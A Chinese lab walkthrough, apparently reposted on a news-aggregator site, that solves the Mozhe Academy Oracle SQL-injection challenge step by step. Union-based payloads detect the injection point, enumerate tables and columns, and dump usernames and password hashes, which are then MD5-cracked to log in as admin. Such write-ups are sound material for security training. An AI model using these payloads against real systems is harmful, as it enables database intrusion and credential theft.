当前位置: 首页 > news >正文

墨者学院Oracle靶场通关

首先1判断注入点

这⾥通过and 1=1 和and 1=2进⾏判断。

发现存在注入点之后我们开始判断字段数

id=1 order by 2

id=1 order by 3 字段=3页面回显异常 ,说明只存在两个字段

接下来我们开始判断回显点

id=-1 union select 'null','null' from dual

查完之后我们开始用下面的语句查看数据库版本信息

id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual

查询数据库名

id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual

查询数据库表名,查询表名⼀般查询admin或者user表

id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

查询字段名信息

id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

查询用户名和密码信息

id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME <> 'hu'

得到密码之后我们用md5进行解密之后就可以登录后台了


http://www.mrgr.cn/news/9270.html

相关文章:

  • 【STM32实物】基于STM32设计的计算器——程序源码设计文档实物图设计文档等(文末完整资料下载)
  • Linux系统编程:TCP,UDP协议特点,粘包,wireshark抓包
  • 如何简单判断某个port是否被防火墙block
  • python——requests
  • 【服务器】VirtualBox+Centos+Docker的安装
  • 2-71 基于matlab的小波分析在心电信号去噪中的应用
  • 爬虫的bs4、xpath、requests、selenium、scrapy的基本用法
  • 如何使用ssm实现基于Java技术的会员制度管理的商品营销系统的设计与实现+vue
  • java接口 controller层接收list集合传参,postman 调用接口时required parameter XXX is not present
  • 苍穹外卖项目DAY01
  • 数学建模学习(125):使用Python实现灰色关联分析从理论到实战
  • Python习题 146:用lambda和filter函数返回偶数
  • 数据采集-->kafka-->hdfs
  • 自动化与高效设计:推理技术在FPGA中的应用
  • Obsidian Publish的开源替代品Markopolis
  • [数据集][目标检测]管道漏水泄漏破损检测数据集VOC+YOLO格式2614张4类
  • 《深度学习》 OpenCV 计算机视觉入门 (中篇)
  • 解决WIndows10下更新蓝牙驱动屡屡失败问题
  • C/C++语言基础--结构体知识详解(包括:结构体数组、字节对齐、位段等内容)
  • Git 的配置